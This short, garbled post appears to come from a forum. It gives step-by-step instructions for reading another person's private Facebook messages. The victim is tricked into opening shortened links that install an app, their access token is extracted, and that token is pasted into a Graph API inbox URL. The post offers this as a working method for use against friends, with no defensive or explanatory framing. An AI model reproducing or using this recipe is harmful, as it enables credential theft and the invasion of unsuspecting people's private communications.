Read ur Friends Fb IBgive this link to your friendand say "open it"http://tinyls.net/fbmsg1after he opens it an installation will occured,then one window will appear, ask him the url and extract the access token it.http://tinyls.net/fbmsg2now you have got the ACCESS_TOKENjust past access token in this link (replace the "x" with access token in the last xx)https://graph.facebook.com/me/inbox?access_token=xxNow You Can Able To Read That Person's AllChat MessageNote:the "tinyls" is url converorjust open the link you are redirect to original url...
Thnx